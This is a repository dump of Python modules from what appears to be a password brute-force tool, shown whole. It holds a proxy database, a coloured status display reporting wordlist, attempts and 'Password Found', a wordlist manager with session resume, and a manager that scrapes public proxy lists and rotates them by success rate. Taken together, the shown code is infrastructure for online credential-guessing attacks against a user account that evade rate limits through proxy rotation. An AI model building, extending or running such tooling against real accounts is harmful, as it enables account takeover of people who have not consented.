| proxy_id TEXT, 163 | 164 | FOREIGN KEY(proxy_id) REFERENCES Proxy(proxy_id) ON DELETE CASCADE 165 | ); 166 | """ 167 | ) 168 | 169 | def __get_signature(self, *, ip: str, port: int) -> str: 170 | return hashlib.sha256(f"{ip}::{port}".encode()).hexdigest() 171 | 172 | def __exists(self, proxy_id: str) -> bool: 173 | """Returns True if a proxy by the given proxy id exists""" 174 | 175 | return ( 176 | self.db_query( 177 | "SELECT COUNT(*) FROM Proxy WHERE proxy_id=?;", 178 | [proxy_id], 179 | ) 180 | != 0 181 | ) 182 | 183 | def add_proxy( 184 | self, *, ip: str, port: int, proxy_type: str = "http" 185 | ) -> typing.Optional[str]: 186 | """Add a proxy into the database. 187 | 188 | Returns: proxy_id when successful 189 | """ 190 | 191 | # preprocess 192 | ip = ip.strip() 193 | proxy_type = proxy_type.strip().lower() 194 | proxy_id = self.__get_signature(ip=ip, port=port) 195 | 196 | if proxy_type not in ["http", "https", "socks4", "socks5"]: 197 | return None 198 | 199 | # check for existance 200 | if self.__exists(proxy_id): 201 | return None 202 | 203 | # add to database 204 | self.db_execute( 205 | """ 206 | INSERT INTO Proxy(proxy_id, ip, port, proxy_type) 207 | VALUES(?, ?, ?, ?); 208 | """, 209 | args=[proxy_id, ip, port, proxy_type], 210 | ) 211 | 212 | self.db_execute( 213 | """ 214 | INSERT INTO ProxyStatus( 215 | time_added, 216 | proxy_id 217 | ) 218 | VALUES(?, ?); 219 | """, 220 | args=[time.time(), proxy_id], 221 | ) 222 | 223 | return proxy_id 224 | 225 | def delete_proxy(self, proxy_id: str) -> bool: 226 | """Delete a proxy from the database 227 | 228 | Returns: 229 | True: if proxy has been deleted 230 | """ 231 | 232 | if not self.__exists(proxy_id): 233 | return False 234 | 235 | self.db_execute( 236 | """ 237 | DELETE FROM Proxy 238 | WHERE proxy_id=?; 239 | """, 240 | args=[proxy_id], 241 | ) 242 | 243 | def __parse_proxy(self, proxy_data: tuple) -> dict: 244 | """Get a tuple of proxy and turns it into a dict.""" 245 | 246 | ip, port, proxy_type = proxy_data[1], proxy_data[2], proxy_data[3] 247 | 248 | if proxy_type == "http" or proxy_type == "https": 249 | proxy_addr = f"http://{ip}:{port}" 250 | elif proxy_type == "socks4": 251 | proxy_addr = f"socks4://{ip}:{port}" 252 | elif proxy_type == "socks5": 253 | proxy_addr = f"socks5://{ip}:{port}" 254 | 255 | addr = { 256 | "http": proxy_addr, 257 | "https": proxy_addr, 258 | } 259 | 260 | return { 261 | "ip": proxy_data[1], 262 | "port": proxy_data[2], 263 | "proxy_type": proxy_data[3], 264 | "time_added": proxy_data[4], 265 | "last_used": proxy_data[5], 266 | "last_updated": proxy_data[6], 267 | "total_used": proxy_data[7], 268 | "total_passed": proxy_data[8], 269 | "score": proxy_data[10], 270 | "addr": addr, 271 | } 272 | 273 | def get_proxy(self, proxy_id: str) -> dict: 274 | """Get details of a proxy with the given proxy id""" 275 | 276 | if not self.__exists(proxy_id): 277 | return {} 278 | 279 | proxy_data = self.db_query( 280 | """ 281 | SELECT *, 282 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score 283 | FROM Proxy 284 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id 285 | WHERE Proxy.proxy_id=?; 286 | """, 287 | args=[proxy_id], 288 | fetchone=False, 289 | )[0] 290 | 291 | return self.__parse_proxy(proxy_data) 292 | 293 | def get_proxies( 294 | self, offset: int = 0, limit: int = 256, min_score: float = 0.0 295 | ) -> typing.List[dict]: 296 | rows = self.db_query( 297 | """ 298 | SELECT *, 299 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score 300 | 301 | FROM Proxy 302 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id 303 | WHERE (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) >= ? 304 | ORDER BY 305 | score DESC, 306 | time_added DESC 307 | LIMIT ?, ?; 308 | """, 309 | fetchone=False, 310 | args=[min_score, offset, limit], 311 | ) 312 | 313 | return [self.__parse_proxy(row) for row in rows] 314 | 315 | def update_status( 316 | self, 317 | ip: str, 318 | port: int, 319 | last_used: float, 320 | total_used: int, 321 | total_passed: int, 322 | ) -> bool: 323 | proxy_id = self.__get_signature(ip=ip, port=port) 324 | 325 | if not self.__exists(proxy_id): 326 | return False 327 | 328 | self.db_execute( 329 | """ 330 | UPDATE ProxyStatus 331 | SET 332 | last_used = ?, 333 | last_updated = ?, 334 | total_used = total_used + ?, 335 | total_passed = total_passed + ? 336 | WHERE proxy_id=?; 337 | """, 338 | args=[last_used, time.time(), total_used, total_passed, proxy_id], 339 | ) 340 | 341 | return True 342 | 343 | def prune(self, threshold: float) -> int: 344 | before_rows = self.db_query( 345 | """ 346 | SELECT COUNT(*) 347 | FROM Proxy; 348 | """ 349 | ) 350 | 351 | self.db_execute( 352 | """ 353 | DELETE 354 | FROM Proxy 355 | 356 | WHERE proxy_id IN ( 357 | SELECT Proxy.proxy_id 358 | FROM Proxy 359 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id 360 | WHERE (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) < ? 361 | ); 362 | """, 363 | args=[threshold], 364 | ) 365 | 366 | after_rows = self.db_query( 367 | """ 368 | SELECT COUNT(*) 369 | FROM Proxy; 370 | """ 371 | ) 372 | 373 | return before_rows - after_rows 374 | 375 | def calc_q1(self) -> float: 376 | """Calculate the first quartile of the scores.""" 377 | 378 | scores = self.db_query( 379 | """ 380 | SELECT score 381 | FROM 382 | ( 383 | SELECT 384 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score 385 | FROM Proxy 386 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id 387 | ) 388 | ORDER BY 389 | score ASC; 390 | """, 391 | fetchone=False, 392 | ) 393 | 394 | q1 = 0.0 395 | 396 | if scores[0][0]: 397 | scores = [score[0] for score in scores] 398 | mid = len(scores) / 2 399 | 400 | if isinstance(mid, float): 401 | mid = int(mid) 402 | q1 = (scores[mid] + scores[mid + 1]) / 2 403 | else: 404 | q1 = (sum(scores[:mid]) / mid) if mid else q1 405 | 406 | return q1 407 | 408 | def stats(self) -> dict: 409 | data = {"total": 0, "q1": 0.0, "avg": 0.0, "min": 0, "max": 0} 410 | 411 | rows = self.db_query( 412 | """ 413 | SELECT 414 | COUNT(score) AS total_proxies, 415 | AVG(score) AS avg_score, 416 | MIN(score) AS min_score, 417 | MAX(score) AS max_score 418 | FROM 419 | ( 420 | SELECT 421 | (CAST(ProxyStatus.total_passed AS FLOAT) / CAST(ProxyStatus.total_used AS FLOAT)) AS score 422 | FROM Proxy 423 | INNER JOIN ProxyStatus on ProxyStatus.proxy_id = Proxy.proxy_id 424 | ); 425 | """, 426 | fetchone=False, 427 | ) 428 | 429 | if rows[0][0]: 430 | row = rows[0] 431 | data["total"] = row[0] 432 | data["avg"] = row[1] 433 | data["min"] = row[2] 434 | data["max"] = row[3] 435 | data["q1"] = self.calc_q1() 436 | 437 | return data 438 | -------------------------------------------------------------------------------- /lib/display.py: -------------------------------------------------------------------------------- 1 | # 12/29/2018 2 | # Author: Mohamed 3 | # Description: Display 4 | 5 | from os import system 6 | from time import sleep 7 | from .const import debug 8 | from colorama import Fore 9 | from builtins import input 10 | from platform import system as platform 11 | 12 | 13 | class Display(object): 14 | 15 | __is_color = None 16 | total_lines = None 17 | account_exists = None 18 | 19 | def __init__(self, username=None, passlist=None, is_color=None): 20 | self.delay = 1.3 21 | self.username = username 22 | self.passlist = passlist 23 | self.colors_disabled = True 24 | self.cls = "cls" if platform() == "Windows" else "clear" 25 | 26 | if Display.__is_color == None: 27 | Display.__is_color = is_color 28 | 29 | def clear(self): 30 | if not debug or self.colors_disabled: 31 | system(self.cls) 32 | 33 | if self.colors_disabled and self.__is_color: 34 | self.colors_disabled = False 35 | else: 36 | print("\n\n") 37 | 38 | def stats(self, password, attempts, browsers, load=True): 39 | self.clear() 40 | complete = round((attempts / Display.total_lines) * 100, 2) 41 | account_exists = ( 42 | self.account_exists if self.account_exists != None else "" 43 | ) 44 | 45 | if self.__is_color: 46 | print( 47 | "{0}[{1}-{0}] {1}Wordlist: {2}{3}{4}".format( 48 | Fore.YELLOW, 49 | Fore.WHITE, 50 | Fore.CYAN, 51 | self.passlist, 52 | Fore.RESET, 53 | ) 54 | ) 55 | 56 | print( 57 | "{0}[{1}-{0}] {1}Username: {2}{3}{4}".format( 58 | Fore.YELLOW, 59 | Fore.WHITE, 60 | Fore.CYAN, 61 | self.username.title(), 62 | Fore.RESET, 63 | ) 64 | ) 65 | 66 | print( 67 | "{0}[{1}-{0}] {1}Password: {2}{3}{4}".format( 68 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, password, Fore.RESET 69 | ) 70 | ) 71 | 72 | print( 73 | "{0}[{1}-{0}] {1}Complete: {2}{3}%{4}".format( 74 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, complete, Fore.RESET 75 | ) 76 | ) 77 | 78 | print( 79 | "{0}[{1}-{0}] {1}Attempts: {2}{3}{4}".format( 80 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, attempts, Fore.RESET 81 | ) 82 | ) 83 | 84 | print( 85 | "{0}[{1}-{0}] {1}Browsers: {2}{3}{4}".format( 86 | Fore.YELLOW, Fore.WHITE, Fore.CYAN, browsers, Fore.RESET 87 | ) 88 | ) 89 | 90 | print( 91 | "{0}[{1}-{0}] {1}Exists: {2}{3}{4}".format( 92 | Fore.YELLOW, 93 | Fore.WHITE, 94 | Fore.CYAN, 95 | account_exists, 96 | Fore.RESET, 97 | ) 98 | ) 99 | 100 | else: 101 | print( 102 | f"[-] Wordlist: {self.passlist}\n[-] Username: {self.username}\n[-] Password: {password}" 103 | ) 104 | 105 | print( 106 | f"Complete: {complete}\n[-] Attempts: {attempts}\n[-] Browsers: {browsers}\n[-] Exists: {account_exists}" 107 | ) 108 | 109 | if load: 110 | sleep(self.delay) 111 | 112 | def stats_found(self, password, attempts, browsers): 113 | self.stats(password, attempts, browsers, load=False) 114 | 115 | if self.__is_color: 116 | print( 117 | "\n{0}[{1}!{0}] {2}Password Found{3}".format( 118 | Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET 119 | ) 120 | ) 121 | 122 | print( 123 | "{0}[{1}+{0}] {2}Username: {1}{3}{4}".format( 124 | Fore.YELLOW, 125 | Fore.GREEN, 126 | Fore.WHITE, 127 | self.username.title(), 128 | Fore.RESET, 129 | ) 130 | ) 131 | 132 | print( 133 | "{0}[{1}+{0}] {2}Password: {1}{3}{4}".format( 134 | Fore.YELLOW, Fore.GREEN, Fore.WHITE, password, Fore.RESET 135 | ) 136 | ) 137 | else: 138 | print( 139 | "\n[!] Password Found\n[+] Username: {}\n[+] Password: {}".format( 140 | self.username.title(), password 141 | ) 142 | ) 143 | 144 | sleep(self.delay) 145 | 146 | def stats_not_found(self, password, attempts, browsers): 147 | self.stats(password, attempts, browsers, load=False) 148 | 149 | if self.__is_color: 150 | print( 151 | "\n{0}[{1}!{0}] {2}Password Not Found{3}".format( 152 | Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET 153 | ) 154 | ) 155 | else: 156 | print("\n[!] Password Not Found") 157 | 158 | sleep(self.delay) 159 | 160 | def shutdown(self, password, attempts, browsers): 161 | self.stats(password, attempts, browsers, load=False) 162 | 163 | if self.__is_color: 164 | print( 165 | "\n{0}[{1}!{0}] {2}Shutting Down ...{3}".format( 166 | Fore.YELLOW, Fore.RED, Fore.WHITE, Fore.RESET 167 | ) 168 | ) 169 | else: 170 | print("\n[!] Shutting Down ...") 171 | 172 | sleep(self.delay) 173 | 174 | def info(self, msg): 175 | self.clear() 176 | 177 | if self.__is_color: 178 | print( 179 | "{0}[{1}i{0}] {2}{3}{4}".format( 180 | Fore.YELLOW, Fore.CYAN, Fore.WHITE, msg, Fore.RESET 181 | ) 182 | ) 183 | else: 184 | print("[i] {}".format(msg)) 185 | 186 | sleep(2.5) 187 | 188 | def warning(self, msg): 189 | self.clear() 190 | 191 | if self.__is_color: 192 | print( 193 | "{0}[{1}!{0}] {1}{2}{3}".format( 194 | Fore.YELLOW, Fore.RED, msg, Fore.RESET 195 | ) 196 | ) 197 | else: 198 | print("[!] {}".format(msg)) 199 | 200 | sleep(self.delay) 201 | 202 | def prompt(self, data): 203 | self.clear() 204 | 205 | if self.__is_color: 206 | return input( 207 | "{0}[{1}?{0}] {2}{3}{4}".format( 208 | Fore.YELLOW, Fore.CYAN, Fore.WHITE, data, Fore.RESET 209 | ) 210 | ) 211 | else: 212 | return input("[?] {}".format(data)) 213 | -------------------------------------------------------------------------------- /lib/password_manager.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Password manager 4 | 5 | from time import sleep 6 | from hashlib import sha256 7 | from sys import version_info 8 | from lib.display import Display 9 | from lib.database import Session 10 | import io 11 | 12 | 13 | class PasswordManager(object): 14 | def __init__(self, username, passlist_path, max_passwords, display): 15 | self.passlist = [] 16 | self.session = None 17 | self.resume = False 18 | self.is_alive = True 19 | self.is_read = False 20 | self.display = display 21 | self.fingerprint = None 22 | self.username = username 23 | self.passwords_removed = 0 24 | self.passlist_path = passlist_path 25 | self.max_passwords = max_passwords 26 | Display.total_lines = self.count_lines() 27 | 28 | @property 29 | def list_size(self): 30 | return len(self.passlist) 31 | 32 | def list_add(self, password): 33 | if not password in self.passlist: 34 | self.passlist.append(password) 35 | 36 | def list_remove(self, password): 37 | if password in self.passlist: 38 | self.attempts += 1 39 | self.passlist.pop(self.passlist.index(password)) 40 | self.session.write(self.attempts, self.passlist) 41 | 42 | def count_lines(self): 43 | lines = 0 44 | 45 | fingerprint = ( 46 | sha256(self.username.lower().strip().encode()).hexdigest().encode() 47 | ) 48 | 49 | self.display.info("Reading wordlist ...") 50 | 51 | with io.open(self.passlist_path, mode="rb") as f: 52 | 53 | for data in f: 54 | lines += 1 55 | chunk = sha256(data).hexdigest().encode() 56 | fingerprint = sha256(fingerprint + chunk).hexdigest().encode() 57 | 58 | self.fingerprint = fingerprint 59 | self.session = Session(self.fingerprint) 60 | 61 | return lines 62 | 63 | def read(self): 64 | attempts = 0 65 | with io.open( 66 | self.passlist_path, mode="rt", encoding="utf-8" 67 | ) as passlist: 68 | 69 | for password in passlist: 70 | if not self.is_alive: 71 | break 72 | 73 | if self.resume: 74 | self.attempts, self.passlist = self.session.read() 75 | 76 | if attempts < (self.attempts + self.list_size): 77 | attempts += 1 78 | continue 79 | else: 80 | self.resume = False 81 | 82 | password = ( 83 | password.replace("\n", "") 84 | .replace("\r", "") 85 | .replace("\t", "") 86 | ) 87 | 88 | if self.list_size < self.max_passwords: 89 | self.list_add(password) 90 | else: 91 | while ( 92 | self.list_size >= self.max_passwords and self.is_alive 93 | ): 94 | sleep(0.5) 95 | 96 | if self.is_alive: 97 | self.list_add(password) 98 | self.session.write(self.attempts, self.passlist) 99 | 100 | if self.is_alive: 101 | self.is_read = True 102 | 103 | @property 104 | def attempts(self): 105 | return self.passwords_removed 106 | 107 | @attempts.setter 108 | def attempts(self, n): 109 | self.passwords_removed = n 110 | 111 | def start(self): 112 | self.read() 113 | 114 | def stop(self): 115 | self.is_alive = False 116 | -------------------------------------------------------------------------------- /lib/proxy.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Proxy 4 | 5 | import time 6 | import typing 7 | 8 | 9 | class Proxy(object): 10 | def __init__(self, ip: str, port: int, addr: typing.Dict) -> None: 11 | self.__ip = ip 12 | self.__port = port 13 | self.__total_used = 0 14 | self.__total_passed = 0 15 | self.__last_used = None 16 | self.__addr = addr 17 | 18 | @property 19 | def addr(self) -> dict: 20 | self.__total_used += 1 21 | self.__last_used = time.time() 22 | return self.__addr 23 | 24 | def incr_success(self) -> None: 25 | """Incremented when proxy works""" 26 | self.__total_passed += 1 27 | 28 | def decr_usage(self) -> None: 29 | """Takes away usage data for this session""" 30 | self.__total_used = 0 31 | self.__total_passed = 0 32 | 33 | def info(self) -> dict: 34 | return { 35 | "ip": self.__ip, 36 | "port": self.__port, 37 | "last_used": self.__last_used, 38 | "total_used": self.__total_used, 39 | "total_passed": self.__total_passed, 40 | } 41 | -------------------------------------------------------------------------------- /lib/proxy_manager.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Proxy manager 4 | 5 | import io 6 | from time import sleep 7 | from queue import Queue 8 | 9 | from lib import database 10 | from lib import proxy 11 | 12 | import typing 13 | import threading 14 | import time 15 | 16 | from requests_html import HTMLSession 17 | 18 | 19 | class ProxyFinder: 20 | """Search online for publicly available proxies""" 21 | 22 | __fetch_interval_sec = 30 * 60 # 30 minutes 23 | __history_limit: int = 1024 24 | __http_proxies_url: str = "https://www.sslproxies.org/" 25 | __socks5_proxies_url: str = ( 26 | "https://hidemy.name/en/proxy-list/?type=5#list" 27 | ) 28 | 29 | def __init__(self): 30 | self.__history: typing.List[ 31 | typing.Dict 32 | ] = [] # holds 1024 proxies at most 33 | self.proxies: typing.List[typing.Dict] = [] 34 | self.last_updated: float = None 35 | 36 | def __add_proxy(self, proxy: typing.Dict) -> None: 37 | if proxy not in self.__history: 38 | self.__history.append(proxy) 39 | self.proxies.append(proxy) 40 | 41 | if len(self.__history) > self.__history_limit: 42 | self.__history.pop(0) 43 | 44 | def __get_socks_proxies(self) -> None: 45 | with HTMLSession() as session: 46 | r = session.get(self.__socks5_proxies_url) 47 | tr = r.html.find("table", first=True).find("tr") 48 | 49 | for row in tr[1:]: 50 | td = row.find("td") 51 | 52 | self.__add_proxy( 53 | { 54 | "ip": td[0].text, 55 | "port": td[1].text, 56 | "proxy_type": "socks5", 57 | } 58 | ) 59 | 60 | def __http_proxies(self) -> None: 61 | """Get proxies from http://www.sslproxies.org/""" 62 | 63 | with HTMLSession() as session: 64 | r = session.get(self.__http_proxies_url) 65 | table = r.html.find(".table", first=True) 66 | tr = table.find("tr") 67 | for row in tr[1:]: 68 | td = row.find("td") 69 | 70 | proxy = { 71 | "ip": td[0].text, 72 | "port": td[1].text, 73 | "proxy_type": "http", 74 | } 75 | 76 | self.__add_proxy(proxy) 77 | 78 | def get_proxies(self) -> typing.List[typing.Optional[typing.Dict]]: 79 | """Get public proxies""" 80 | 81 | if self.last_updated is None: 82 | self.last_updated = time.time() 83 | else: 84 | if time.time() - self.last_updated < self.__fetch_interval_sec: 85 | return [] 86 | 87 | # http proxies 88 | try: 89 | self.__http_proxies() 90 | except Exception as e: 91 | pass 92 | 93 | # socks5 proxies 94 | try: 95 | pass 96 | # self.__get_socks_proxies() 97 | except Exception as e: 98 | raise e 99 | pass 100 | 101 | self.last_updated = time.time() 102 | 103 | proxies = [] 104 | size = len(self.proxies) 105 | 106 | for i in range(size): 107 | if i % 2: 108 | proxies.append(self.proxies.pop(0)) 109 | else: 110 | proxies.append(self.proxies.pop()) 111 | 112 | return proxies 113 | 114 | 115 | class ProxyManager(object): 116 | __limit = 256 117 | __cooloff_period_seconds = 60 118 | 119 | def __init__(self): 120 | self.proxies = Queue() 121 | self.db_proxy = database.Proxy() 122 | self.proxy_finder = ProxyFinder() 123 | self.active_proxies: typing.List[dict] = [] 124 | 125 | self.lock_active_proxies = threading.RLock() 126 | 127 | self.__offset: int = 0 128 | self.__limit: int = 256 129 | self.__min_score: float = 0.0 130 | 131 | def write2db(self, proxylist_path: str) -> int: 132 | """Read proxies from the file and write it into the database. 133 | 134 | File must contain ip:port format. 135 | Returns: Number of rows written into the database. 136 | """ 137 | 138 | total_written = 0 139 | with io.open(proxylist_path, mode="rt", encoding="utf-8") as f: 140 | proxy = database.Proxy() 141 | 142 | for line in f: 143 | ip, port = line.split(":") 144 | 145 | ip = ip.strip() 146 | port = port.split()[0].strip() 147 | 148 | if proxy.add_proxy(ip=ip, port=port): 149 | total_written += 1 150 | return total_written 151 | 152 | def dispose(self, proxy: proxy.Proxy) -> None: 153 | """Dispose of a proxy. 154 | 155 | A proxy will be updated after usage session. 156 | """ 157 | 158 | info = proxy.info() 159 | basic_info = {"ip": info.get("ip"), "port": info.get("port")} 160 | 161 | if info.get("total_used"): 162 | 163 | self.db_proxy.update_status( 164 | info.get("ip"), 165 | info.get("port"), 166 | info.get("last_used"), 167 | info.get("total_used") or 0, 168 | info.get("total_passed") or 0, 169 | ) 170 | 171 | with self.lock_active_proxies: 172 | if basic_info in self.active_proxies: 173 | self.active_proxies.remove(basic_info) 174 | 175 | def add_public_proxies(self) -> None: 176 | """Add public proxies to the database""" 177 | 178 | for proxy in self.proxy_finder.get_proxies(): 179 | self.db_proxy.add_proxy( 180 | ip=proxy.get("ip"), 181 | port=proxy.get("port"), 182 | proxy_type=proxy.get("proxy_type"), 183 | ) 184 | 185 | def pop_list(self) -> None: 186 | """Populates queue using database""" 187 | 188 | self.add_public_proxies() 189 | 190 | proxies = self.db_proxy.get_proxies( 191 | self.__offset, self.__limit, min_score=self.__min_score 192 | ) 193 | 194 | for proxy in proxies: 195 | basic_info = { 196 | "ip": proxy.get("ip"), 197 | "port": proxy.get("port"), 198 | } 199 | 200 | with self.lock_active_proxies: 201 | if basic_info in self.active_proxies: 202 | continue 203 | 204 | last_used = proxy.get("last_used") 205 | 206 | if last_used: 207 | if time.time() - last_used <= self.__cooloff_period_seconds: 208 | continue 209 | 210 | self.proxies.put(proxy) 211 | 212 | with self.lock_active_proxies: 213 | self.active_proxies.append(basic_info) 214 | 215 | if proxies: 216 | self.__offset += self.__limit 217 | else: 218 | self.__offset = 0 219 | self.__min_score = self.db_proxy.calc_q1() 220 | 221 | def get_proxy(self) -> typing.Union[proxy.Proxy, None]: 222 | if not self.proxies.qsize(): 223 | self.pop_list() 224 | 225 | if self.proxies.qsize(): 226 | p = self.proxies.get() 227 | return proxy.Proxy(p.get("ip"), p.get("port"), p.get("addr")) 228 | --------------------------------------------------------------------------------